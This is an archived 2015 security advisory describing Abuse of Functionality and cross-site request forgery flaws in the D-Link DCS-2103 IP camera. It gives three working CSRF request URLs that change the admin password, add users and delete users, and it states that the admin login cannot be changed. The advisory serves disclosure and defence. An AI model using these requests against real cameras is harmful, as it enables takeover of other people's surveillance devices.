Computer Security
[EN] securityvulns.ru no-pyccku


Related information

  D-Link DCS-2103 security vulnerabilities

  CSRF and XSS vulnerabilities in D-Link DCS-2103

  BF and XSS vulnerabilities in D-Link DCS-2103

  Vulnerabilities in D-Link DCS-2103

From:MustLive <mustlive_(at)_websecurity.com.ua>
Date:25.10.2015
Subject:AoF ana CSRF vulnerabilities in D-Link DCS-2103


Hello 3APA3A!

There are Abuse of Functionality and Cross-Site Request Forgery vulnerabilities in D-Link DCS-2103 (IP camera).

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: D-Link DCS-2103, Firmware 1.20. All previous versions also must be vulnerable.

----------
Details:
----------

Abuse of Functionality (WASC-42):

Admin's login is persistent: admin. Which simplify BF and CSRF attacks (about Brute Force I wrote in the second advisory).

Cross-Site Request Forgery (WASC-09):

Change admin's password:

http://site/vb.htm?adduser=admin:password:0

Add user:

http://site/vb.htm?adduser=user:pass:2

Delete user:

http://site/vb.htm?deluser=user

------------
Timeline:
------------

2014.11.14-2014.12.13 - conversation with D-Link about previous vulnerabilities in DCS-2103.
2015.07.23 - disclosed at my site previous vulnerabilities in DCS-2103.
2015.08.23 - informed developers about new vulnerabilities in DCS-2103.
2015.08.24 - announced at my site about new vulnerabilities in DCS-2103.
2015.10.24 - disclosed at my site (http://websecurity.com.ua/7877/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod